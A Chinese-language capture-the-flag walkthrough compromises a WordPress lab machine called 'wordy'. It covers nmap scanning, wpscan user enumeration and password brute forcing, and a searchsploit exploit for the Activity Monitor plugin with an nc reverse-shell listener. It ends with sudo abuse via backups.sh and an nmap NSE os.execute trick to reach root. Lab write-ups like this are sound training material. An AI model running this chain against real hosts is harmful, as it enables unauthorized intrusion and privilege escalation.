首先先进行常规操作
发现靶机的MAC地址
用sudo arp-scan -l
找到靶机的IP 192.168.1.107
进行扫描:
nmap -sT --min-rate 10000 -p- 192.168.1.107
nmap -sT -sC -sV -O -p22,80 192.168.1.107
漏洞探测扫描:
nmap --script=vuln -p22,80 192.168.1.107
先查看80端口,发现无法进入
vim /etc/hosts
加入 192.168.1.107 wordy
成功进入
进入后发现是个wordy的内容管理器
且web页面中没什么可利用信息
使用dirb 192.168.1.107 爆破一下子目录
发现有登录界面
使用wpscan --url http://wordy/ -e u
爆破一下用户名
得到五个用户名admin、mark、graham、sarah、jens
将其放入到user.txt中
在官网获得的信息
得到pass.txt
用wpscan爆破
wpscan --url wordy -U user.txt -P pass.txt
得到用户名为mark,密码为helpdesk01的用户
登陆成功
用searchsploit查询一下该插件
searchsploit activitiy monitor
然后将45274.html下载下来
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
vim 45274.html
根据文件保留我们要用的html文件
在kali端监听9999
nc -lvnp 9999
使用python -c 'import pty;pty.spawn(“/bin/bash”)'提高交互性
在mark的stuff目录下找到一个things-to-do.txt
查看发现有graham的账号密码
用ssh连接一下
成功登录
使用 echo “/bin/bash” >> backups.sh 将/bin/bash写入backups.sh中
sudo -u jens ./backups.sh 执行该文件
成功切换为jens用户
发现可以用nmap进行提权
echo ‘os.execute(“/bin/bash”)’>getroot.sh
sudo nmap --script=getroot.sh //nmap–script 参数可以执行脚本
提权成功
cd到root目录下找flag即可完成